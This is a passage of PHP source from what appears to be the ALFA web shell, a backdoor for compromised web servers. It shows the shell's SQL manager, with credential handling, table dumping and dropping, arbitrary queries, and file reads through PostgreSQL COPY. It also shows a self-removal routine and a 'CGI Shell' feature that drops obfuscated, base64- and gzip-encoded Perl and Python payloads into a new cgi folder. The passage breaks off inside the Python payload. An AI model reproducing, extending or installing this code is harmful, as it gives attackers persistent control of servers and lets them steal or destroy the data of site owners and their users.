case 'pgsql':
$this->query("CREATE TABLE solevisible(file text);COPY solevisible FROM '".addslashes($str)."';select file from solevisible;");
$r=array();
while($i=$this->fetch())
$r[] = $i['file'];
$this->query('drop table solevisible');
return array('file'=>implode("\n",$r));
break;
}
return false;
}
};
$db = new DbClass($_POST['type']);
alfahead();
$form_visibility = "table";
if(isset($_POST['sql_host'])){
$connection_db = $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
if($connection_db && !empty($_POST['sql_base'])){
$form_visibility = "none";
}
}
$database_list = array();
echo "
<div class='header' style='min-height:300px;'>".($form_visibility!="none"?"<center><div class='txtfont_header'>| Sql Manager |</div><p>".getConfigHtml('all')."</p></center><div style='text-align:center;margin-bottom: 10px;'><button class='connection-his-btn db-opt-id' onclick='alfaShowConnectionHistory(this);' mode='on'>Connection History</button><div class='connection_history_holder'></div></div>":"")."
<div class='sf' class='db-opt-id'><table style='margin: 0 auto;".($form_visibility=="none"?"display:none;":"")."' cellpadding='2' cellspacing='0'><tr>
<td><div class=\"txtfont\">TYPE</div></td><td><div class=\"txtfont\">HOST</div></td><td><div class=\"txtfont\">DB USER</div></td><td><div class=\"txtfont\">DB PASS</div></td><td><div class=\"txtfont\">DB NAME</div></td><td></td></tr><tr>
<td><select name='type'><option value='mysql' selected>mysql</option></select></td>
<td><input type='text' name='sql_host' id='db_host' value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
<td><input type='text' name='sql_login' id='db_user' value='". (empty($_POST['sql_login'])?'':htmlspecialchars($_POST['sql_login'])) ."'></td>
<td><input type='text' name='sql_pass' id='db_pw' value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
$tmp = "<input type='text' name='sql_base' id='db_name' value='". (empty($_POST['sql_base'])?'':htmlspecialchars($_POST['sql_base'])) ."'>";
if(isset($_POST['sql_host'])){
if($connection_db){
$db->setCharset('utf8');
$db->listDbs();
echo "<select name=sql_base><option value=''></option>";
while($item = $db->fetch()) {
list($key, $value) = each($item);
$database_list[] = $value;
echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
}
echo '</select>';
}else{
echo $tmp;
}
}else
echo $tmp;
$curr_mysql_id = $_POST['current_mysql_id'];
echo "</td>
<td><button onclick='fs(this);return false;' class='db-opt-id db-connect-btn'>Connect</button></td>
<td><input type='checkbox' name='sql_count' value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> <div class=\"txtfont\">count the number of rows</div></td>
</tr>
</table>";
if($db->mysqli_connect_error){
echo '<div style="text-align: center;font-size: 17px;margin-top: 18px;">'.$db->mysqli_connect_error_msg.'</div>';
}
if(!empty($curr_mysql_id)){
$sql_title_db = "";
if(!empty($_POST['sql_base'])){
$sql_title_db = "d.querySelector('#tab_".$curr_mysql_id." span').innerHTML='".addslashes($_POST['sql_base'])."';";
}
echo "<script>mysql_cache['".$curr_mysql_id."']['host']='".addslashes($_POST['sql_host'])."';mysql_cache['".$curr_mysql_id."']['user']='".addslashes($_POST['sql_login'])."';mysql_cache['".$curr_mysql_id."']['pass']='".addslashes($_POST['sql_pass'])."';mysql_cache['".$curr_mysql_id."']['db']='".addslashes($_POST['sql_base'])."';mysql_cache['".$curr_mysql_id."']['charset']='".addslashes($_POST['charset'])."';mysql_cache['".$curr_mysql_id."']['type']='".addslashes($_POST['type'])."';mysql_cache['".$curr_mysql_id."']['count']='".addslashes($_POST['sql_count'])."';".$sql_title_db."alfaConnectionHistoryUpdate();</script>";
}
if(isset($db) && $db->link){
if(!empty($_POST['sql_base'])){
echo "<div class='mysql-main'><div mode='block' onclick='alfaMysqlTablePanelCtl(this);' class='tables-panel-ctl db-opt-id'><<</div><div class='mysql-tables'><div><input placeholder=\"Filter Table\" style='padding: 0;margin-left: 11px;text-align:center;' type='text' name='filter_all'><button class='db-opt-id' onclick='alfaMysqlFilterAllTable(this);return false;'>Search</button></div><div class='block'><a sql_count='".(empty($_POST['sql_count'])?"false":"true")."' mode='closed' onclick='alfaMysqlFilterAllTable(this,true);' class='expander parent-expander db-opt-id' href='javascript:void(0);'><img src='http://solevisible.com/icons/menu/b_plus.png' title='Expand/Collapse All DataBases' alt='Expand/Collapse All DataBases'></a></div><ul style='margin-top: 28px;'>";
foreach ($database_list as $db_name) {
echo '<li><div class="block"><i></i><b></b><a sql_count="'.(empty($_POST['sql_count'])?"false":"true").'" db_target="'.$db_name.'" onclick="alfaMysqlExpander(this);" class="expander cls-'.$db_name.'-expander db-opt-id" href="javascript:void(0);"><img src="http://solevisible.com/icons/menu/'.($db_name == $_POST['sql_base']?"b_minus.png":"b_plus.png").'" title="Expand/Collapse" alt="Expand/Collapse"></a></div><span class="db_name">'.$db_name.'</span><div class="clearfloat"></div><div db_name="'.$db_name.'" mode="'.($db_name == $_POST['sql_base']?"loaded":"no").'" class="list_container cls-'.$db_name.'"><div>';
if($db_name == $_POST['sql_base']){
$db->selectdb($_POST['sql_base']);
$tbls_res = $db->listTables();
echo '<ul><li><div class="block"><i></i><b></b></div><div><input style="padding: 0;margin-left: 11px;text-align:center;" type="text" class="db-opt-id" target=".cls-'.$db_name.'" placeholder="Filter Table" onkeyup="alfaMysqlFilterTable(this);" name="filter"></div></li>';
while($item = $db->fetch($tbls_res)){
list($key, $value) = each($item);
if(!empty($_POST['sql_count']))
$n = $db->fetch($db->query('SELECT COUNT(*) as n FROM `'.$value.'`'));
$value = htmlspecialchars($value);
echo "<li><div class='block'><i></i><b></b></div><div class='tables-row'><input type='checkbox' name='tbl[]' value='".$value."'> <a class='db-opt-id' db_target='".$db_name."' href='javascript:void(0);' onclick=\"alfaLoadTableData(this,'".$value."')\"><span class='mysql_tables' style='font-weight:unset;'>".$value."</span></a>" . (empty($_POST['sql_count'])?' ':" <small><span style='font-weight:unset;' class='mysql_table_count'>({$n['n']})</span></small>") . "</div></li>";
}
echo '</ul><div style="margin-left: 26px;margin-bottom: 10px;margin-top: 10px;"><input onchange="alfaMysqlTablesEvil(this);" class="db-opt-id" target=".cls-'.$db_name.'" type="checkbox" class="db-opt-id"><select onchange="alfaMysqlTablesDumpDrop(this);" class="db-opt-id" target=".cls-'.$db_name.'" class="db-opt-id" name="tables_evil" style="padding: 0;width: 100px;"><option selected>drop</option><option>dump</option></select> <button onclick="alfaMysqlTablesDumpDropBtn(this);return false;" class="db-opt-id" db_target="'.$db_name.'" target=".cls-'.$db_name.'" class="db-opt-id">Do it</button><div class="dump-file-holder" style="display:none;margin-left:20px;margin-top: 5px;"><input style="padding: 0;text-align:center;" type="text" placeholder="dump.sql" name="dump_file"></div></div>';
}
echo "</div></li>";
}
echo "</ul></div><div class='mysql-query-results'><div class='mysql-query-result-tabs'><div class='db-opt-id mysql-query-selected-tab' target='.mysql-query-result-content' onclick='alfaMysqlTabCtl(this);'>Result</div><div class='db-opt-id' target='.mysql-query-form' onclick='alfaMysqlTabCtl(this);'>Query</div><div class='db-opt-id' target='.mysql-search-area' onclick='alfaMysqlTabCtl(this);'>Search</div><div class='db-opt-id' target='.mysql-structure' onclick='alfaMysqlTabCtl(this);'>Structure</div><div class='db-opt-id' target='.mysql-insert-row' onclick='alfaMysqlTabCtl(this);'>Insert</div><div style='display:none;' class='db-opt-id' target='.mysql-edit-row' onclick='alfaMysqlTabCtl(this);'>Edit</div></div><div class='mysql-query-content mysql-insert-row mysql-hide-content'></div><div class='mysql-query-content mysql-edit-row mysql-hide-content'></div><div class='mysql-query-content mysql-search-area mysql-hide-content'></div><div class='mysql-query-content mysql-structure mysql-hide-content'></div><div class='mysql-query-content mysql-query-form mysql-hide-content'><div style='margin-bottom: 5px;'><span>Query:</span></div><textarea name='query' style='width:90%;height:100px'></textarea><p><div style='float:left;margin-left: 30px;'><input class='button db-opt-id' db_target='".$_POST['sql_base']."' onclick='alfaMysqlQuery(this);return false;' type='submit' value=' '></div></p></div><div class='mysql-query-content mysql-query-result-content'><div class='mysql-query-result-header'><div style='margin-bottom: 10px;' class='mysql-query-reporter'></div><div class='mysql-query-pager'></div></div><div class='mysql-query-table'></div></div></form></td></tr>";
}
echo "</table></div>";
echo "</div>";
}else{
echo htmlspecialchars($db->error());
}
echo '</div>';
alfafooter();
}
function alfaSql_manager_api(){
$db = $_POST["alfa1"];
$type = $_POST["alfa2"];
$sql_count = $_POST["alfa3"] == "true" ? true : false;
$db = @json_decode($db, true);
$conn = @mysqli_connect($db["host"], $db["user"], $db["pass"], $db["db"]);
@mysqli_set_charset($conn, "utf8");
if($conn){
if($type == "load_all_tables"){
$tables = array();
$q_tables = @mysqli_query($conn, "SELECT `table_schema`, `table_name` FROM `information_schema`.`tables` WHERE `table_schema` IN ('".implode("','", $db["databases"])."');");
$count = 0;
while($row = @mysqli_fetch_assoc($q_tables)){
if($sql_count){
$count_q = @mysqli_query($conn, 'SELECT COUNT(*) FROM `'.$row["table_schema"].'`.`'.$row["table_name"].'`');
if($count_q){
$count = @mysqli_fetch_row($count_q);
$count = $count[0];
}
}
$tables[$row["table_schema"]][] = array("name" => $row["table_name"], "count" => (int)$count);
}
foreach($db["databases"] as $db){
if(!isset($tables[$db])){
$tables[$db] = null;
}
}
echo @json_encode($tables);
}elseif($type == "dump_drop"){
if($db["mode"] == "drop"){
foreach ($db["tables"] as $table) {
@mysqli_query($conn, "DROP TABLE `".$table."`;");
}
$tables = array();
$q_tables = @mysqli_query($conn, "SHOW TABLES;");
$count = 0;
while($row = @mysqli_fetch_array($q_tables)){
if($sql_count){
$count_q = @mysqli_query($conn, 'SELECT COUNT(*) FROM `'.$row[0].'`');
if($count_q){
$count = @mysqli_fetch_row($count_q);
$count = $count[0];
}
}
$tables[] = array("name" => $row[0], "count" => (int)$count);
}
echo @json_encode($tables);
}else{
if(strlen(alfaEx("mysqldump"))>0){
alfaEx("mysqldump --single-transaction --host=\"".$db["host"]."\" --user=\"".$db["user"]."\" --password=\"".$db["pass"]."\" ".$db["db"]." ".implode(" ", $db["tables"])." > ".$db["dump_file"]);
}else{
$fp = @fopen($db["dump_file"], "w");
foreach ($db["tables"] as $table) {
$res = @mysqli_query($conn, 'SHOW CREATE TABLE `'.$table.'`');
$create = @mysqli_fetch_array($res);
$sql = "DROP TABLE IF EXISTS `".$table."`;\n" . $create[1].";\n";
if($fp) fwrite($fp, $sql); else echo($sql);
$tbl_data = @mysqli_query($conn, 'SELECT * FROM `'.$table.'`');
$head = true;
while($item = @mysqli_fetch_assoc($tbl_data)){
$columns = array();
foreach($item as $k=>$v) {
if($v == null)
$item[$k] = "''";
elseif(is_numeric($v))
$item[$k] = $v;
else
$item[$k] = "'".@mysqli_real_escape_string($conn, $v)."'";
$columns[] = "`".$k."`";
}
if($head) {
$sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
$head = false;
} else
$sql = "\n\t,(".implode(", ", $item).')';
if($fp) fwrite($fp, $sql); else echo($sql);
}
if(!$head)
if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
}
}
echo @json_encode(array("status" => true, "file" => $db["dump_file"]));
}
}elseif($type == "load_tables"){
$tables = array();
$q_tables = @mysqli_query($conn, "SHOW TABLES;");
$count = 0;
while($row = @mysqli_fetch_array($q_tables)){
if($sql_count){
$count_q = @mysqli_query($conn, 'SELECT COUNT(*) FROM `'.$row[0].'`');
if($count_q){
$count = @mysqli_fetch_row($count_q);
$count = $count[0];
}
}
$tables[] = array("name" => $row[0], "count" => (int)$count);
}
echo @json_encode($tables);
}elseif($type == "alter"){
$db["alter"]["type"] = strtolower($db["alter"]["type"]);
$inputs = $db["alter"]["type"]."(".$db["alter"]["input"].")";
$text_input = array("longtext", "text", "mediumtext", "tinytext");
if(in_array($db["alter"]["type"], $text_input)){
$inputs = $db["alter"]["type"];
}
@mysqli_query($conn, "ALTER TABLE `".$db["table"]."` MODIFY COLUMN `".$db["column"]."` " . $inputs);
$error = @mysqli_error($conn);
if($error){
echo $error;
}else{
echo "ok";
}
}elseif($type == "edit" || $type == "delete" || $type == "delete_all"){
if($type == "edit"){
$q = @mysqli_query($conn, "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` WHERE `".$db["col_key"]."` = '".addslashes($db["key"])."' LIMIT 0,1");
$row = @mysqli_fetch_assoc($q);
if($row){
$columns_query = @mysqli_query($conn, "SELECT COLUMN_NAME as name, COLUMN_TYPE, DATA_TYPE as type FROM information_schema.columns WHERE `TABLE_SCHEMA` = '".$db["db"]."' AND `TABLE_NAME` = '".$db["table"]."'");
$columns = array();
$edit_data = array();
while($row2 = @mysqli_fetch_array($columns_query, MYSQLI_ASSOC)){
$input = array("col_type" => $row2["COLUMN_TYPE"]);
$row2["type"] = strtolower($row2["type"]);
switch($row2["type"]){
case "longtext": case "text": case "mediumtext": case "tinytext":
$input["tag"] = "textarea";
break;
case "int": case "smallint": case "bigint": case "tinyint": case "mediumint":
$input["tag"] = "input";
$input["type"] = "number";
break;
default:
$input["tag"] = "input";
$input["type"] = "text";
}
$columns[$row2["name"]] = $input;
}
foreach($row as $key => $v){
$edit_data[] = array("col" => $key, "value" => htmlspecialchars($v, ENT_QUOTES, 'UTF-8'), "type" => $columns[$key]);
}
echo @json_encode($edit_data);
}
}else{
if($type == "delete_all"){
$rows = implode("', '", $db["rows"]);
}else{
$rows = addslashes($db["key"]);
}
$query = "DELETE FROM `".$db["db"]."`.`".$db["table"]."` WHERE `".$db["col_key"]."` IN ('".$rows."')";
@mysqli_query($conn, $query);
$error = @mysqli_error($conn);
if($error){
$status = false;
}else{
$status = true;
}
echo @json_encode(array("status" => $status, "error" => $error, "query" => $query));
}
}elseif($type == "update"){
$query = "UPDATE `".$db["db"]."`.`".$db["table"]."` SET ";
foreach($db["data"] as $col => $val){
$query .= "`".$col."` = '".mysqli_real_escape_string($conn, $val)."',";
}
$query = substr($query, 0, -1);
$query .= "WHERE `".$db["col_key"]."` = '".$db["key"]."'";
$res = @mysqli_query($conn, $query);
echo @json_encode(array("status" => $res, "error" => @mysqli_error($conn)));
}elseif($type == "insert"){
$query = "INSERT INTO `".$db["db"]."`.`".$db["table"]."` ";
foreach($db["data"] as $col => $val){
$cols .= $col . ",";
$vals .= "'".mysqli_real_escape_string($conn, $val)."',";
}
$cols = substr($cols, 0, -1);
$vals = substr($vals, 0, -1);
$query = $query . "(" . $cols . ")" . "VALUES(" . $vals . ")";
$res = @mysqli_query($conn, $query);
echo @json_encode(array("status" => $res, "error" => @mysqli_error($conn)));
}else{
$pages = 0;
$title = false;
$query = "";
$tbl_content = '<table width="100%" cellspacing="1" cellpadding="2" class="main mysql-data-tbl" style="background-color:#292929">';
$line = 0;
$tables = array();
$columns = array();
if($type == "load_data"){
$query = "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` LIMIT 0,30";
$tbl_count_q = @mysqli_query($conn, "SELECT COUNT(*) FROM `".$db["db"]."`.`".$db["table"]."`");
$tbl_count = @mysqli_fetch_row($tbl_count_q);
$columns_query = @mysqli_query($conn, "SELECT COLUMN_NAME as name, COLUMN_TYPE as type, COLLATION_NAME as collation, DATA_TYPE as data_type, CHARACTER_MAXIMUM_LENGTH as type_value FROM information_schema.columns WHERE `TABLE_SCHEMA` = '".$db["db"]."' AND `TABLE_NAME` = '".$db["table"]."'");
while($row2 = @mysqli_fetch_array($columns_query, MYSQLI_ASSOC)){
$columns[] = $row2;
}
if($tbl_count[0] > 30){
$pages = ceil($tbl_count[0] / 30);
}
}elseif($type == "query"){
$query = $db["query"];
}elseif($type == "page"){
$db["page"] = (int)$db["page"] - 1;
$query = "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` LIMIT ".($db["page"]*30).",30";
}elseif($type == "search"){
$search = "";
$search_noval = array("= ''", "!= ''", "IS NULL", "IS NOT NULL");
foreach($db["search"] as $col => $val){
$search_noval_r = in_array($val["opt"], $search_noval);
if(empty($val["value"]) && !$search_noval_r)continue;
if(strstr($val["opt"], "...") || $search_noval_r){
$val["opt"] = str_replace("...", $val["value"], $val["opt"]);
$search .= $col . " " . $val["opt"] . " AND ";
}else{
$search .= $col . " " . $val["opt"] . " '".addslashes($val["value"])."' AND ";
}
}
$search .= "1=1";
$query = "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` WHERE " . $search;
}
$q_tables = @mysqli_query($conn, $query);
if(!$q_tables){
echo @json_encode(array("status" => false, "error" => @mysqli_error($conn), "query" => $query));
return false;
}
$col_key = @mysqli_query($conn, "SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = '".@addslashes($db["db"])."' AND TABLE_NAME = '".@addslashes($db["table"])."' AND COLUMN_KEY = 'PRI'");
if($col_key){
$col_key = @mysqli_fetch_row($col_key);
$col_key = $col_key[0];
if(!empty($col_key)){
$tbl_content = '<div style="margin-bottom:5px;margin-top:5px;"><button col_key="'.$col_key.'" tbl_name="'.$db["table"].'" db_id="'.$db["db_id"].'" db_target="'.$db["db"].'" onclick="alfaMysqlDeleteAllSelectedrows(this);return false;">Delete Selected Rows</button></div><table width="100%" cellspacing="1" cellpadding="2" class="main mysql-data-tbl" style="background-color:#292929">';
}
}else{
$col_key = false;
}
while($item = @mysqli_fetch_assoc($q_tables)){
if(!$title){
$tbl_content .= '<tr style="background-color:#305b8e;">';
if($col_key){
$tbl_content .= '<th style="width: 55px;text-align:center;"><input db_id="'.$db["db_id"].'" onchange="alfaMysqlTblSelectAll(this);" type="checkbox"></th><th style="width: 55px;text-align:center;">Edit</th><th style="width: 55px;text-align:center;">Delete</th>';
}
foreach($item as $key => $value){
$tbl_content .= '<th>'.$key.'</th>';
}
reset($item);
$title=true;
$tbl_content .= '</tr><tr>';
}
if($col_key){
$cacheMsg = '<td style="text-align:center;"><input row_id="'.$line.'" type="checkbox" name="tbl_rows_checkbox[]" value="'.$item[$col_key].'"></td><td style="text-align:center;"><a class="db-opt-id" href="javascript:void(0);" db_id="'.$db["db_id"].'" db_target="'.$db["db"].'" tbl_name="'.$db["table"].'" col_key="'.$col_key.'" key="'.$item[$col_key].'" onclick="alfaMysqlEditRow(this, \'edit\');" style="color:#0acaa6;">Edit</a></td><td style="text-align:center;"><a class="db-opt-id" href="javascript:void(0);" db_id="'.$db["db_id"].'" db_target="'.$db["db"].'" tbl_name="'.$db["table"].'" col_key="'.$col_key.'" key="'.$item[$col_key].'" row_id="'.$line.'" onclick="alfaMysqlEditRow(this, \'delete\');" style="color:#ff1e1e;">Delete</a></td>';
}
$tbl_content .= '<tr class="tbl_row tbl_row_l'.$line.'">'.$cacheMsg;
$line++;
foreach($item as $key => $value){
if($value == null){
$tbl_content .= '<td><i>null</i></td>';
}else{
$tbl_content .= '<td>'.nl2br(htmlspecialchars($value)).'</td>';
}
}
$tbl_content .= '</tr>';
}
$tbl_content .= '</table>';
if(!$title){
$tbl_content = "<div style='padding:5px;border:1px dashed;margin:10px;'>Table is empty...</div>";
}
echo @json_encode(array("status" => true, "table" => $tbl_content, "columns" => $columns, "pages" => $pages, "query" => $query));
}
@mysqli_close($conn);
}
}
function alfaselfrm(){
if(isset($_POST['alfa1'])&&$_POST['alfa1']=='yes'){
echo(__pre().'<center>');
if(@unlink($GLOBALS['__file_path'])){
echo('<b>Shell has been removed</i> :)</b>');
}else{
echo 'unlink error!';
}
echo('</center>');
}
if(isset($_POST['alfa1'])&&$_POST['alfa1']!='yes'){
echo "<div class=header>";
echo "
<center><p><img src=\"http://solevisible.com/images/farvahar-iran.png\"></p>";
echo '<p><div class="txtfont">Do you want to destroy me?!</div><a href=javascript:void(0) onclick="g(\'selfrm\',null,\'yes\');"> Yes</a>';
echo '</p></center></div>';
}
}
function alfacgishell(){
alfahead();
$div = "";
alfaCreateParentFolder();
@chdir($GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__);
if(!in_array($_POST['alfa1'],array('perl','py'))){
$div = "</div>";
echo '<div class=header><center><p><div class="txtfont_header">| CGI Shell |</div></p><h3><a class="rejectme" href="javascript:void(0)" onclick="runcgi(\'perl\')">| Perl | </a><a class="rejectme" href="javascript:void(0)" onclick="runcgi(\'py\');">| Python | </a>';
}
if(isset($_POST['alfa1'])&&in_array($_POST['alfa1'],array('perl','py'))){
@mkdir('cgialfa',0755);
@chdir('cgialfa');
alfacgihtaccess('cgi');
$name = $_POST['alfa1'].'.alfa';
$perl = '#!/usr/bin/perl -I/usr/local/bandmin'."\n".'use MIME::Base64;use Compress::Zlib;eval(Compress::Zlib::memGunzip(decode_base64("H4sIAAAAAAAA/6UZDXfTRvKvLBthSRBbtktazrJcQuJA3iUhlxju9aJgZGlt70OWVH2QpMb97Tezu7KkEKC0yUORZud7ZmdmlyJj5PT4dDwYvPQy9vMzuwDAEQ+ZBETeignQwU1AdG+WTRMvX+q25i/4NOApcQg8EcsoFw2ta5q29l8enU1guWtrZ5ODVXDJEviiLWprbyN+W0FsgBzEq5UXBRO+YnGRHxapl/M4gtUekF8u45vDO5DB/TdFnhQ5wm0NtBKC4WvB8jBe8Ih8/ozvyU3BA0MbmvhNvXDuoYhSoKFU+5VUig1ITSlTIJ+DwXVk6gcU8GhyE1DAOAdL7/OjritQLES4YOAY5udx2sQh/VGrR3qjVl/g4ltPwIAoK2bkgnnBuZeCy9dh7HshMZ7wyAQeL6aEz+FpK7DGd4kG7/D8yO7g+ckLQe5pEeY88dL8KE5Xh17uAak2Pnu31g/enE3GZ5Pp5Lfzsb4hzp/EWpXIrjUH9HYA+DaZxUUUeOmdY3Semppl87khOVyM//N2fDmZno4nr98cAg/2O6GvxhNqrjUebQUB0sVv08vJxfHZK31jb1iYfZvF+ZtL5JGC6cbl5PD4DKzh0e49vU/GZ68mr/WNaW+27P6uTaDwSwUBtfV2W+9oPftFyDPMriwJeW5YWxRL6APOfQ0asvRlHCCVhthXvesmGDRwUzfCf5/hT2SVy0jxwdZKYr18/ZNkgkKzAJVHa30Ouw+VRnuIQKpYAHdcxrx3XIq2uLQkk/i92pdgTS1rcR+WIQy8A0nk9G1licav4ZU/fQrOKQES/33nqZAoVKwvAXfDvVFKQBYqBSATlYniDVkY742GW0zzswBo8KWZQsUt7mOj0zGtxPM/GtSnu2TJbg2tZ5rWgglDUJKwFSjsDaYXW78Q+acC1yoDBiYyz1/CBzG6pNMh2g6AMVkr49ynFgHxRm0XVZwcyQmxd0nfVEZ+V8kfNKUDZdDtUtzfRsDmPGJQvspVLKZ1TGX1BovF2ySMvQDL9dpfxomhTbwUCuAZBMsU3GoAdNhBkaYsyg95aqJ+K+vKdV3rGva4Nkm9KJuzFJmJtUfG1XvrvetePzG1R3adESqh6h/uGrWEhJf8D5TDo9yAJF1gM2hmtEksqOn9ZyYWlThhkfH2/OTN/uHR8cl4l9BRTQw1zfWMR6s4YDUkYZaspnaSgiBSrZF7wmw/jLMGsSKhpbEsIPe1//fLjhtRhahPlowgQ0L1zkz1w4aXOzolN15GChEJ4JcVvs+ybF6E4V1Hl8mppB55qBr0mkfUlvE7xwUUrQIJ9YqsNSxbWJWGPsSKpaOhAMQRUKx47tB8ybOO/OgEPPNmwNXJ04LZYiXoQIYUzJnlsWcUEct8L2EGi3zw5NuLY+i1SRwBZ6OObUKaUQJI+V3CHLotolUNpWTF8mUcOLJcE8/HHu2AY7RLP+VJfgJ9CUHgktEw9GYsJEDsUOWaFKBZ4kWEA4vpdI6uLBIAWggdkWGWp3G0GLWiWZbY8nmwjCGCxBMxAESJMbQE99GQRzgNZPldCCqDJ5LQuxtEYByYglK2ksF5/tKLFogW+8UKrO9ABMchw9eXd8eB4epbnVzd7PAoYunryemJI7yE8rOr7nVHDESUSC8hlBJRGumckgzyx6E/7dFSM7kiI1XSlF8yRkrFLYXEWfIgYFHJOdgig6urHSzc/HUq70sRIpbwR6WVLhr7FKwSTThleZFGog3jCxFpaNcTWEGqzD33Fkx2prU2FvkVVPo16439EIJoDFfvvfYf++3/ddv/ujYt/bHeKSJZMF8/obtQLC22KPftQQyaR3kbDR6QnN3m1jJfhdhQtlt2iJDRcAl6jYY5z0M2OkDBZHZH9k+O9smE7Z+SNjl4dUzOWRoOLYk0FHk0erKGCTSEEiwTabOzTYv1HPyYD0jKF8vcjj+xFAA3A+l224/DOB3s9Pfm827XvuFBvhz0nnWTW7tMTCiLyLc9g6Hto43Kt7dMCAtDnmQ8s2+WPGdt2BI+WBjFN6mX2BuR7+sVlB0etYX8AZRR4A30OYdxsO2FfBENyAqUCZk9i1MICuAktySLQx4QKHX2DLy6SHGmAd9hBYQNDt4E7Nt2tvQC1KMLv8+Aaqc7/qn7bF9xaqdewItsgEvKNtLfQwV+xAy/SDPwEUlijgn4FcdIY4nc6+u6zmiDikHI5nmpSE94YiO2wpXYCnKPXa+VwFJenZcI7sNukpEkcYoF4yEHbHb8VbD+W9xK3/2CKj8QzwekJV4Q8GjRVk7KcqjKA7L35QpDTRC+waBAaD3YyliTlH6NvK5pX1O+FFzTpW7PzpH4KQUPej8Dmkr8vef+3t7zMvG73cfVDvGKPLY3WL5xgw0tuTVnOP3GEdamb1VlcDXW4zkgZAb2qNlCSHToTlf8QGGNE+lKh8IXpkbtU74KtWrfS4ZOFwB0FjCTpkGVrJouVBMlCgJJR1dkOKtKCXiEkcwLSAvS9xPPOHRh8qcAq68XixU0/I4fr4bWbESusf5GeVV/hzl2biLd7NAeDBJSS/QeJT7sJdw/4GihJ34rxzu0D4rmyCJoECmt57DrHPqOpYEXeWVfQhJQo2HXTr8/7vefi5XLSnNysOCqNs5GSm0CtTeC8yxYn8cEmz5LIcA4BHV0iZcH+MDG0mwRR3EM9pZTkNJ7RDutB8YfY9uHOrTiCA/0FfzFrMEUwhpPa3LUDcIJJPgxFgLktdbOUxh28ERXnb9rPWlExBEc4irmEjlH6Cqfuz/9Ai61ddBze9WAKolh5cX3KGrOodWA8yVNfzZnvT2gqalV4l+7GqF2NQ2iM2Y/PA3KleW9Jej8jVWYlhxXX8JOWzdmSFeHSKu7no7u6hux6v/QhOlXE+Y/nU+3o9aPjKJ/a7ICgEweSO46A6wWJbkvp0yoUNvZr/sXZzJfpus97HI2bM6NimQ0oo3ZWD6/S7+USkZiBg65/9GhEHw/juYcdpur76eM3MUFnFvg5VdIAJUBQCQSQk6ARA2Fcw8+7K1Or2M4p1WDJWToPxoqm9eAa+D0SG5cc+2FHqjbNatJUKASduszhiV55d3yVbEiORCTGM6IX7lTzBjYHhiZWZ7BxrfML3JWMlxvWtsrOPteOm1vuC4PLo7PJ9Oz/dMxHDNru73CGF+8G19sMZqna1Jex9iaTN0ShIdW7aKISmUcEjDcFtOZuJyVp2kfr8C0xqD9AFaAWPJSoIH6QV1ufsCTdGMN40XFwbyhAl4TvHezJ37gZk/xxgkvz2CwgBOivO75LoF9n0LGv3lFqi5oOzWovdHehMEDR4nKPdQPiFuv6S6F6qtY4aKSWwGV+V9xjWT8wbQ3rXsnHLy/wXvfv9RRth3DfVFPjhqmLO73WuIw4J/KBqGGQ5xmBn0cx/SRGD+k5YOHuomaMUUDqgKybUCySYOI0TD5tqjGYFoKL4dKksY3maP3uzrJEphJ/CWDoqKLygCiRTqorMaMUqdPc92qLqvKBPiLcawbU0+Pen3QLo9frfX9k4tTcQ3qtprb35b14ytFQd0of/EfDcD2s9Or8g3v6chnaouLKwWUmLvbemPi0SdkxrCxPgJWU3XgxRvQ1I1MvE1VCaBN8QC7AWndRnGsMlJo+GU13GzKFLLK+JQxtpLaSEbt1lfHJLt1b1Kz/w8wblS+FRoAAA==")));';;
$py = '#!/usr/bin/python'."\nimport zlib, base64\n".'eval(compile(zlib.decompress(base64.b64decode("eJylF9ty2zb22foKDLxbUqurFTvN6Na6Xqf1bNNmErcvtkcDEqCICQlwQdC26vF++54DkBLVaOO2a8/YBM79fmDNZto5knmhjSXxWtpo5v8NhWJRJsJuRzzGorCAVbCy7NSo5absA15fl/21sAjpR6wUr0/7lckyGXUSo3NiZS5IQ2FNgueGgzUsFhGLP3nUj9ZItb76uUFvzjWjBrkBFwC1K1CtIxOiS9D2XhqthikrV5/EJqQfLz5cvb9e/XT+7pJ2QfkyNrKwioFCixbBzR7iXUdkpfg9NqUdLhLCsoRd5DyMkd1RnMqMr0rLpeqT7UFX1rMvdCHUBHD3UYdxpkt06tGREWWVIXabeGgE4+EeEd62qWxlFPHEnUSbHDms5fCtFBn/aLVha8SMcw4AhA8hPvcsq0QYxEG3w6X5HMABAH4EIjDNk/owDiv170pbEfrgDqPXp1zEmosQsLqOCBgCkWf7EhFgdVuS/MfNePrqjiwWJIg5CdC3yqvgzqSHEuBvMMNvhOB38cADwLyojBHK/tNJbwKE5F3wZJFB0oTBrQr6gTdQaeu4MQWcd7SBA0hFMh2zrAwxwAc5Byj2AOs6a0DCC1z32YIqHYjdyjsPs4bZdMiiEv+HdEi7nfeQ/QVmSXBD5nCvoI42mVjQWGfaTI/Hr74+GY9ndBn06jrEsFalMGG3F8xHSLL89gXKvXK4/PDr5Ye6HLYcDsqeRIk4OXMcdmbtSO7+FqDPVysso9XKRXi1yplUqxWG2ZUwoRdaWSAd2E0hpsSKRztKbZ7dmltFG6RgjlfLeQrVsZxbaTOxvICE4iTakPMf356Ta3H+jgzIxfdX5P3GplrNRx5tngvLoMaYKYVd0F+u3w7e0OXcWbL8xxNUVyaVmCqtxOz5eLVKUNuqeEoyzeyUGLlO7UzfCwMXD1OSSs6FmnkPkOPJWZKAEx8kt+mUnJyOi8cZlyWkx2YKoUfWgwji/2mGhg12fAQUSlHKcvaQSisG4LEYrFf6wbBi9pyxSGRPOTNrqQZOBWCOvIHeSsimAcvkWk1JDupkYhZpwwXoc1I8klJnkkOD4DPsl2ujK8Wn2EAVCMEgAfbjoEwZRz3G8H